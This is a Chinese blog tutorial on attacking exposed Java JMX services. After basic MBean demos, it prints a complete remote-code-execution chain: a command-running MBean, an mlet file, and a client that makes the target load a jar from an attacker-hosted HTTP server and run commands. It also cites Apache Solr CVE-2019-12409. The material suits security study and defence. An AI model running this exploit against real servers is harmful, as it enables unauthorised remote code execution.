在?进来看看怎么攻击JMX呗
题图:今日份的成都
JMX简介
JMX(Java Management Extensions,即Java管理扩展)是一个为应用程序、设备、系统等植入管理功能的框架。狭隘的理解,我们可以通过JMX管理、监视我们的java程序。但是不是所有java程序都能被管理,只有通过特定实现的java才能够被管理,这种特定实现机制就是Mbean。
如上所属,利用JMX我们可以控制服务端的特定java程序,具体能够控制哪些java程序,又是如何控制的呢?我们还是用一些小demo来说明。能够被JMX控制的一种java程序被叫做MBean。接下来我们实现一个MBean
MBean 编写与控制
每一个MBean都需要实现一个接口,而且这个接口的命名是有讲究的,必须以MBean结尾,例如我将编写一个GirlFriendMBean接口:
import javax.management.DynamicMBean;
public interface GirlFriendMBean {
String name = "";
public void setName(String name);
public String getName();
public void sayHello();
}
然后我们需要实现这个MBean,同样的,这个实现的命名也是有讲究的,那就是去掉对应接口的的MBean后缀:
import javax.management.DynamicMBean;
public class GirlFriend implements GirlFriendMBean{
String name;
public GirlFriend(String name) {
this.name = name;
}
public GirlFriend(){
this.name = "Angel";
}
@Override
public void setName(String name) {
this.name = name;
}
@Override
public String getName() {
return this.name;
}
@Override
public void sayHello() {
System.out.println("Hello sweet, I am yours");
}
}
现在实现了MBean,要想他们能够被远程的客户端控制访问,还需要将其绑定到MBeanServer上,具体实现代码如下:
import javax.management.*;
import javax.management.remote.JMXConnectorServer;
import javax.management.remote.JMXConnectorServerFactory;
import javax.management.remote.JMXServiceURL;
import java.io.IOException;
import java.lang.management.ManagementFactory;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class Server {
public static void main(String[] args) throws MalformedObjectNameException, NotCompliantMBeanException, InstanceAlreadyExistsException, MBeanRegistrationException, IOException {
MBeanServer mBeanServer = ManagementFactory.getPlatformMBeanServer();
System.out.println("Register bean...");
// 实例化一个MBean
GirlFriendMBean girlFriend = new GirlFriend();
ObjectName objectName = new ObjectName("JMXGirl:name=girlFriend");
// 绑定到MBeanServer
mBeanServer.registerMBean(girlFriend, objectName);
// 创建一个rmi registry
Registry registry = LocateRegistry.createRegistry(1099);
// 构造JMXServiceURL
JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://localhost:1099/jmxrmi");
// 构造JMXConnectorServer
JMXConnectorServer jmxConnectorServer = JMXConnectorServerFactory.newJMXConnectorServer(jmxServiceURL, null, mBeanServer);
jmxConnectorServer.start();
System.out.println("JMXConnectorServer is ready...");
}
}
运行Server:
然后我们可以用jdk中自带的jconsole工具访问jmx server,在jdk的bin目录下,运行jconsole,天上地址localhost:1099就可以直接访问到了,可以看到我们实现的JMXGril
我们可以使用jconsole调用JMXGirl的方法,也可以设置其属性,我调用它的sayHello方法,效果如下:
远程MBean注册
上面的的demo展示的是MBean与JMX Server在同一主机上,jmx还提供了一种机制,可以将其他主机上的MBean绑定到别的MBean Server上,着需要用到另外一个文件mlet。我们一起来看一下实现方法把:
注:以下代码引用自 https://www.anquanke.com/post/id/194126
public interface PayloadMBean {
public String runCmd(String cmd) throws IOException, InterruptedException;
}
public class Payload implements PayloadMBean {
@Override
public String runCmd(String cmd) throws IOException, InterruptedException {
Runtime runtime = Runtime.getRuntime();
Process process = runtime.exec(cmd);
BufferedReader stdInput = new BufferedReader(new InputStreamReader(process.getInputStream()));
BufferedReader stdError = new BufferedReader(new InputStreamReader(process.getErrorStream()));
String stdout_data = "";
String strtmp;
while ((strtmp = stdInput.readLine()) != null) {
stdout_data += strtmp + "n";
}
while ((strtmp = stdError.readLine()) != null) {
stdout_data += strtmp + "n";
}
process.waitFor();
return stdout_data;
}
}
我们将上述代码打包成jar包,在idea中打jar包参考:https://blog.csdn.net/nopotential/article/details/79018471
然后我们需要编写一个名为mlet的文件:
<HTML><mlet code=Payload archive=JMX_Demo2.jar name=MLetCompromise1:name=Payload,id=12></mlet></HTML>
把mlet文件与刚刚创建的jar包放在同一Web目录下,我们这里可以直接用python2来简单搭建一个http server,运行如下命令就行:python-mSimpleHTTPServer
,具体的百度一下吧
然后我们有了MBean,还需要一个MBeanServer吧,这次的MBean Server的实现方式与之前的差别不大,只是绑定的MBean是远程的而已,具体看下代码:
import javax.management.MBeanServer;
import javax.management.ObjectName;
import javax.management.loading.MLet;
import javax.management.remote.JMXConnectorServer;
import javax.management.remote.JMXConnectorServerFactory;
import javax.management.remote.JMXServiceURL;
import java.lang.management.ManagementFactory;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RemoteMbean {
public static void main(String[] args){
try{
MBeanServer mBeanServer = ManagementFactory.getPlatformMBeanServer();
//---------------------------------------------
//remote mbean
System.out.println("Register MLet bean...");
MLet mLet = new MLet();
ObjectName objectNameMLet = new ObjectName("JMXMLet:type=MLet");
mBeanServer.registerMBean(mLet, objectNameMLet);
//mLet.getMBeansFromURL("http://192.168.1.110:8080/mlet");
//-----------------------------------------------------------------
//mBeanServer.invoke(evilObject.getObjectName(), "getMBeansFromURL", new Object[] {"http://192.168.1.110:8080/mlet"}, new String[] {String.class.getName()});
//这句话非常重要,不能缺少!注册一个端口,绑定url后,客户端就可以使用rmi通过url方式来连接JMXConnectorServer
Registry registry = LocateRegistry.createRegistry(1099);
//构造JMXServiceURL
JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://localhost:1099/jmxrmi");
//创建JMXConnectorServer
JMXConnectorServer jmxConnectorServer = JMXConnectorServerFactory.newJMXConnectorServer(jmxServiceURL, null, mBeanServer);
//启动
jmxConnectorServer.start();
System.out.println("JMXConnectorServer is running");
}catch (Exception e){
e.printStackTrace();
}
}
}
可以看到注释掉中有一个方法getMBeansFromURL,这个方法就是绑定远程类的关键所在,我们可以把mlet的地址作为其参数,然后当调用这个方法的时候,就会远程加载mlet文件中指定的jar文件。这个方法不需要在代码里直接调用,我们一会可以在jconsole中调用。现在运行这个Server,然后依旧用jconsole连接Server:
调用MLet的getMBeansFromURL,参数就是mlet文件的地址
然后你就会发现窗口里多了一个类,这个类就是远程的类了,我们可以执行他的runCmd方法弹个计算器:
控制jmx server端远程加载MBean
上面的demo是在jmx server本地实现的加载远程MBean,jmx危险之处就在于这一过程我们可以在客户端控制。也就是只要某个主机开启了jmx server端口,我们就可以通过自己编写代码或者使用现成的工具是server端加载远程的恶意类。
自己编写代码,代码同样引用别人的:
import javax.management.InstanceAlreadyExistsException;
import javax.management.MBeanServerConnection;
import javax.management.ObjectInstance;
import javax.management.ObjectName;
import javax.management.openmbean.SimpleType;
import javax.management.remote.JMXConnector;
import javax.management.remote.JMXConnectorFactory;
import javax.management.remote.JMXServiceURL;
import java.net.InetAddress;
import java.util.HashSet;
import java.util.Iterator;
public class Exp {
public static void main(String[] args){
connectAndCmd("localhost", "1099", "calc.exe");
}
static void connectAndCmd(String serverName, String port, String command){
try{
JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://" + serverName + ":" + port + "/jmxrmi");
// System.out.println("URL: " + jmxServiceURL + ", connecting");
JMXConnector jmxConnector = JMXConnectorFactory.connect(jmxServiceURL, null);
// System.out.println("Connected:" + jmxConnector.getConnectionId());
MBeanServerConnection mBeanServerConnection = jmxConnector.getMBeanServerConnection();
ObjectInstance evil_bean = null;
// try{
//
// evil_bean = mBeanServerConnection.getObjectInstance(new ObjectName(OBJECTNAME));
//
// }catch (Exception e){
//
// evil_bean = null;
//
// }
if(evil_bean == null){
System.out.println("Trying to create bean...");
ObjectInstance evilObject = null;
try{
evilObject = mBeanServerConnection.createMBean("javax.management.loading.MLet", null);
}catch (InstanceAlreadyExistsException e){
evilObject = mBeanServerConnection.getObjectInstance(new ObjectName("DefaultDomain:type=MLet"));
}
System.out.println("Load " + evilObject.getClassName());
//调用getMBeansFromURL从远程服务器获取 MBean
//加载包含 MLET 标记的文本文件,这些标记定义了要添加到 MBean 服务器的 MBean。
//MLET 文件中指定的 MBean 将被实例化并在 MBean 服务器中注册。
Object res = mBeanServerConnection.invoke(evilObject.getObjectName(), "getMBeansFromURL",
new Object[] {String.format("http://127.0.0.1:8000/mlet", InetAddress.getLocalHost().getHostAddress()) },
new String[] {String.class.getName()}
);
HashSet hashSet = (HashSet)res;
Iterator iterator = hashSet.iterator();
Object nextObject = iterator.next();
if(nextObject instanceof Exception){
throw ((Exception)nextObject);
}
evil_bean = ((ObjectInstance)nextObject);
}
//调用恶意 MBean 中用于执行命令的函数
System.out.println("Loaded class: " + evil_bean.getClassName() + "--- object: " + evil_bean.getObjectName());
System.out.println("Calling runCommand with: " + command);
Object result = mBeanServerConnection.invoke(evil_bean.getObjectName(), "runCmd", new Object[]{command}, new String[]{String.class.getName()});
System.out.println("Result: " + result);
}catch (Exception e){
e.printStackTrace();
}
}
}
当然,用现成的工具他不香吗?个人觉得这个jython版的mjet挺好用的:https://github.com/mogwailabs/mjet
案例
这是最近(19年)爆出的一个apache solr的jmx配置错误导致的漏洞(其实就是默认开启了jmx端口)
这篇文章我放在另外一个项目里了,只是简单的复现:
https://github.com/Maskhe/vuls/tree/master/apache_solr/cve-2019-12409
其他
jmx的安全问题不复杂,主要就是对外开放了jmx端口,所以,就这么简单带过吧,see you~
- 总是听别人说响应式布局,原来这么简单
- Spring Cloud Zuul重试机制探秘
- Eureka中RetryableClientQuarantineRefreshPercentage参数探秘
- Edgware.RC1中ZuulFallbackProvider的改进
- JPA的多表复杂查询:详细篇
- 尝试使用Memcached遇到的狗血问题
- Enumerable#Zip 实现一下
- 更新自己,不要影响其他人
- 【译】Spring官方教程:Spring Boot整合消息中间件RabbitMQ
- [实录]解决Migrator.Net 小bug
- Jenkins Pipeline插件十大最佳实践!
- Spring Cloud Hystrix的请求合并
- JQuery JCshare 0.1 分享插件
- Java中的即时编译(Just-in-time compilation)
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法
- 哈希表:其实需要哈希的地方都能找到map的身影
- 哈希表:这道题目我做过?
- 哈希表:解决了两数之和,那么能解决三数之和么?
- 双指针法:一样的道理,能解决四数之和
- 【python-opencv】轨迹栏作为调色板
- springBoot 线程池异步编程
- MPU6050姿态解算2-欧拉角&旋转矩阵
- 【python-opencv】图像的基本操作
- 3 分钟生成一个单元测试报告,这个样式爱了
- 拼多多的底层逻辑
- 详解ELF重定向原理
- 干货 | 携程基于Quasar协程的NIO实践
- 【python-opencv】图像上的算术运算
- 个人珍藏的80道多线程并发面试题(11-20答案解析)
- 【python-opencv】性能衡量和提升技术